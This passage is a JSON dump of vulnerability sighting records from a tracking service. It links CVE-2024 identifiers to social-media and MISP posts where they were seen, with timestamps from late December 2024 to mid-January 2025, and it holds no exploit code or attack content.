"CVE-2024-12978", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leb4vfytxw2k", "content": "", "creation_timestamp": "2024-12-27T04:15:33.586343Z"}, {"uuid": "f2e988b7-2d12-4bfe-a7ba-1294324c64f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12979", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113722915450338331", "content": "", "creation_timestamp": "2024-12-27T04:32:58.973982Z"}, {"uuid": "40784f0b-e269-4175-8ea6-69d13a7eeb5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12979", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113722933120796706", "content": "", "creation_timestamp": "2024-12-27T04:37:28.661392Z"}, {"uuid": "17f99c59-df00-4484-9e81-1d677f7d8741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12980", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113723054626319681", "content": "", "creation_timestamp": "2024-12-27T05:08:22.569947Z"}, {"uuid": "91831b16-e631-4f87-b9cd-8e9c06743a28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12979", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lebaaqpm6z2a", "content": "", "creation_timestamp": "2024-12-27T05:15:35.927056Z"}, {"uuid": "af671b32-f30a-4cfa-8fff-b06e74ec8e1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12980", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lebaasvvpp2i", "content": "", "creation_timestamp": "2024-12-27T05:15:38.346999Z"}, {"uuid": "0bc01e8b-381c-4faf-b952-24bb737094cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12981", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113723163471148400", "content": "", "creation_timestamp": "2024-12-27T05:36:03.618844Z"}, {"uuid": "a1bc34cc-9228-4714-9897-65ae5bc53713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-01-13T21:10:03.000000Z"}, {"uuid": "11ec35a6-5b84-485e-8905-051fc41fca25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12981", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lebdmiaw7g25", "content": "", "creation_timestamp": "2024-12-27T06:15:50.049801Z"}, {"uuid": "0e5f8799-4191-4e25-bf5e-9def07d8af07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12982", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lebdmkcv3n22", "content": "", "creation_timestamp": "2024-12-27T06:15:52.416628Z"}, {"uuid": "9c144463-8ea6-4b2b-89b8-52dccf131406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12982", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113723363096023472", "content": "", "creation_timestamp": "2024-12-27T06:26:51.845960Z"}, {"uuid": "5ca867b3-41e4-49b4-ad57-1fb02d984bdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12983", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113723398348853240", "content": "", "creation_timestamp": "2024-12-27T06:35:47.437297Z"}, {"uuid": "e0b8c5c2-2348-43c3-9981-22fa7c255a75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12983", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lebgx6rkf522", "content": "", "creation_timestamp": "2024-12-27T07:15:30.704806Z"}, {"uuid": "4d6de915-6f21-4ac5-a7b1-74077ed8a3f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12988", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113723885007461469", "content": "", "creation_timestamp": "2024-12-27T08:39:33.116802Z"}, {"uuid": "919e707f-a8d2-4fcd-8894-ce89ee81aec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://bsky.app/profile/pauldokas.bsky.social/post/3lebzyudafc2q", "content": "", "creation_timestamp": "2024-12-27T12:56:29.868598Z"}, {"uuid": "65674a7c-d097-4f9a-adfe-effc5e5dcabb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://bsky.app/profile/pauldokas.bsky.social/post/3lebzyudafc2q", "content": "", "creation_timestamp": "2024-12-27T12:56:29.920939Z"}, {"uuid": "027f2d77-40e0-4f20-8ffa-7489281443f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://bsky.app/profile/pauldokas.bsky.social/post/3lebzyudafc2q", "content": "", "creation_timestamp": "2024-12-27T12:56:29.994081Z"}, {"uuid": "ef8cf72e-047e-4eed-95fa-2f4c3c292c09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12157", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgbimee2o", "content": "", "creation_timestamp": "2025-01-07T05:16:21.849170Z"}, {"uuid": "0fc0b398-9a41-4f90-82b7-bebe1dfba3d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12322", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhkglt422", "content": "", "creation_timestamp": "2025-01-07T05:17:05.029370Z"}, {"uuid": "5d871e64-0d1a-444a-8639-a6faba37c1be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12077", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf57hbvbtx2i", "content": "", "creation_timestamp": "2025-01-07T08:15:53.332926Z"}, {"uuid": "0b92e618-1183-48a6-a325-d934962faf14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12330", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckh543os2i", "content": "", "creation_timestamp": "2025-01-09T11:15:58.286267Z"}, {"uuid": "1a48d2d9-8fd7-4b31-b327-b31ba21f9289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfg2dkygb72k", "content": "", "creation_timestamp": "2025-01-10T20:38:18.698214Z"}, {"uuid": "55b1f990-306e-424f-8174-9ea42111349c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808655813154438", "content": "", "creation_timestamp": "2025-01-11T07:57:54.624124Z"}, {"uuid": "97bb1059-f8d2-4cff-9d79-b7f5d901b5a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfm4qgajd42w", "content": "", "creation_timestamp": "2025-01-13T06:37:16.328853Z"}, {"uuid": "b8359b97-6e13-44a7-855b-8dad781c1de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12919", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfp37oam242e", "content": "", "creation_timestamp": "2025-01-14T10:47:58.444034Z"}, {"uuid": "97d18b77-df5f-42f0-9612-9f36f5350b3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12158", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgdy7e422", "content": "", "creation_timestamp": "2025-01-07T05:16:24.553829Z"}, {"uuid": "67c51a12-1c4f-43ba-9dcd-1ce46faf12bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12170", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgj2vx62i", "content": "", "creation_timestamp": "2025-01-07T05:16:30.037507Z"}, {"uuid": "cd943841-be9d-480c-9aa9-3d0ac5d70a9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12327", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhpruce2e", "content": "", "creation_timestamp": "2025-01-07T05:17:10.455446Z"}, {"uuid": "ce5e37c0-a7fd-4eed-a121-7b44f167fbbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12457", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vi3p6zx2f", "content": "", "creation_timestamp": "2025-01-07T05:17:22.996003Z"}, {"uuid": "108691fc-c07f-4141-87fc-2e3c1a30d01f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf57hegfve22", "content": "", "creation_timestamp": "2025-01-07T08:15:55.952653Z"}, {"uuid": "ee8d73a5-80fa-495d-a057-2c1b2d5e6013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12496", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhgm2jr2a", "content": "", "creation_timestamp": "2025-01-09T11:16:08.121164Z"}, {"uuid": "49db55d5-b01d-41a3-8db8-1cae438f6593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfg2dkv6ho2g", "content": "", "creation_timestamp": "2025-01-10T20:38:18.222642Z"}, {"uuid": "4db88c4b-1f19-4cf3-8f7a-0145b7dfcfa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfhb25xgd323", "content": "", "creation_timestamp": "2025-01-11T08:10:58.484822Z"}, {"uuid": "dcb2c9d7-f094-4f17-9e88-b63626edc649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12176", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vglpjtk2k", "content": "", "creation_timestamp": "2025-01-07T05:16:32.613931Z"}, {"uuid": "184caa20-6551-411b-94a8-d2827f3d40e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf57hegfve22", "content": "", "creation_timestamp": "2025-01-07T08:15:55.955699Z"}, {"uuid": "1394ca19-4c3c-4bb8-96d8-3b1ab1582609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12515", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhlhoex25", "content": "", "creation_timestamp": "2025-01-09T11:16:13.171741Z"}, {"uuid": "57582be6-6b45-483d-9462-5d3f8ba3add1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12207", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgoccj42i", "content": "", "creation_timestamp": "2025-01-07T05:16:35.249442Z"}, {"uuid": "32929f44-b7b5-437b-a86b-e2a9b877f443", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12516", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf57hgtvf422", "content": "", "creation_timestamp": "2025-01-07T08:15:58.556538Z"}, {"uuid": "3d2390e2-53e1-4545-be04-835e01db99a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12605", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhqsyck22", "content": "", "creation_timestamp": "2025-01-09T11:16:19.131947Z"}, {"uuid": "9511144b-76a4-47da-9fc8-0d6e94fc6962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12848", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcki4ekgp2d", "content": "", "creation_timestamp": "2025-01-09T11:16:30.892679Z"}, {"uuid": "7dba4a06-6f41-45db-af53-4477964805e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113806028018338410", "content": "", "creation_timestamp": "2025-01-10T20:49:36.120326Z"}, {"uuid": "5603f5ce-f3e3-4c88-b317-86215573b2f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113828013801323601", "content": "", "creation_timestamp": "2025-01-14T18:00:52.444598Z"}, {"uuid": "d13db46e-8773-4ef7-bf62-dad46534a677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12214", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgt3bre2e", "content": "", "creation_timestamp": "2025-01-07T05:16:40.595562Z"}, {"uuid": "d8a86b73-86bd-4a32-941b-7c6096439423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfb3ifhorh2i", "content": "", "creation_timestamp": "2025-01-08T21:15:34.823327Z"}, {"uuid": "8ee78912-d590-428e-be1d-df2432f31cb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12621", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhxpbif2x", "content": "", "creation_timestamp": "2025-01-09T11:16:25.954508Z"}, {"uuid": "e5060c31-7dde-47b6-a304-5db6921592e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12919", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfp37oor2n2w", "content": "", "creation_timestamp": "2025-01-14T10:48:00.381337Z"}, {"uuid": "aee34d95-daeb-4b10-8330-1ce32b3b5b3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12256", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgz25d62i", "content": "", "creation_timestamp": "2025-01-07T05:16:46.613166Z"}, {"uuid": "9433732e-6935-4e7c-8e6d-9fc08e1ff931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12919", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113826312846621124", "content": "", "creation_timestamp": "2025-01-14T10:48:18.215774Z"}, {"uuid": "ddef0635-999c-4159-9332-2216f1c312ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12264", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vh3q6mz2m", "content": "", "creation_timestamp": "2025-01-07T05:16:49.433721Z"}, {"uuid": "dcad7990-da88-4df8-b64a-de844e066a79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12116", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbd2urb62d", "content": "", "creation_timestamp": "2025-01-11T08:15:56.663442Z"}, {"uuid": "5b6bb442-e5f4-4626-860e-34ffae817c67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12520", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbdfcjde2i", "content": "", "creation_timestamp": "2025-01-11T08:16:07.640196Z"}, {"uuid": "d05e783b-0c56-4370-b244-3ac983193634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12288", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vh73gyk2c", "content": "", "creation_timestamp": "2025-01-07T05:16:52.941771Z"}, {"uuid": "05488a01-15be-45cd-9a63-0e64a79a6e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3lf6chqmsny2t", "content": "", "creation_timestamp": "2025-01-07T18:42:29.668521Z"}, {"uuid": "49c50e3f-6a89-4017-bd07-87a239c6344c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lfhbczdtch2a", "content": "", "creation_timestamp": "2025-01-11T08:15:55.371032Z"}, {"uuid": "c023831e-4ded-48c0-af7a-764e07acd642", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12412", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbd7qsgd2l", "content": "", "creation_timestamp": "2025-01-11T08:16:01.858377Z"}, {"uuid": "41c08419-2d3f-4b93-8bd7-caef01aac827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfp3mxmz7i2b", "content": "", "creation_timestamp": "2025-01-14T10:55:24.273030Z"}, {"uuid": "b671b269-5abb-4bb6-a734-85d347707832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12290", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhccwfg2i", "content": "", "creation_timestamp": "2025-01-07T05:16:56.499779Z"}, {"uuid": "04564d39-baa4-49d7-9176-cc07b3bdaee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12067", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798164176079263", "content": "", "creation_timestamp": "2025-01-09T11:29:43.488100Z"}, {"uuid": "97ecabb0-54e0-436e-9cd3-08de9f44e1c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12407", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbd5crif2x", "content": "", "creation_timestamp": "2025-01-11T08:15:59.371995Z"}, {"uuid": "730ec775-24e2-4d83-875a-033478c8f464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.121706Z"}, {"uuid": "304e47c3-3c73-4c29-80eb-272703677886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.173219Z"}, {"uuid": "c61f8e11-7827-4027-b834-6553893b8a91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.216723Z"}, {"uuid": "9b9a1d30-794a-4967-8925-de41e081c384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.258177Z"}, {"uuid": "51d8cd4a-5caa-4472-8e6f-016345c23c94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.308811Z"}, {"uuid": "f1f5cde4-ea15-4613-97e8-1b6d07b766ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12270", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783262693768981", "content": "", "creation_timestamp": "2025-01-06T20:20:04.631686Z"}, {"uuid": "ae14b602-c2e5-41dc-a4c7-6945b00dbd44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12291", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhetdn62i", "content": "", "creation_timestamp": "2025-01-07T05:16:58.917967Z"}, {"uuid": "2a764bc5-4dfa-4b62-a6fa-3843c52dc13c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12122", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798164190581247", "content": "", "creation_timestamp": "2025-01-09T11:29:43.675242Z"}, {"uuid": "f9e65685-5f8d-4b8b-90dc-3ab519fcec50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12519", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbdclfhs2k", "content": "", "creation_timestamp": "2025-01-11T08:16:04.761051Z"}, {"uuid": "eefd0a52-bb26-450c-9188-4b119c6c8f15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12240", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113826412561947295", "content": "", "creation_timestamp": "2025-01-14T11:13:39.575398Z"}, {"uuid": "2bef896a-dd2d-4bea-a60d-5204f7e0f63b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783263021420100", "content": "", "creation_timestamp": "2025-01-06T20:20:09.785213Z"}, {"uuid": "18ee105d-acfc-48c0-9d21-c0efd439ce1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12313", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhhhji425", "content": "", "creation_timestamp": "2025-01-07T05:17:01.732352Z"}, {"uuid": "373e172b-ff03-4bb2-856f-761802b025d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12470", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vian6ao2i", "content": "", "creation_timestamp": "2025-01-07T05:17:28.399240Z"}, {"uuid": "1e0c0233-cadd-4260-ada6-485d99efdb3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12206", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798223191041662", "content": "", "creation_timestamp": "2025-01-09T11:44:44.155495Z"}, {"uuid": "7055a386-ff01-4c64-9fcf-71fb3aff3a7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12527", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbdhvo3e2l", "content": "", "creation_timestamp": "2025-01-11T08:16:10.360269Z"}, {"uuid": "aeb88127-5ecb-4a3b-8926-3a8b7b41f100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": 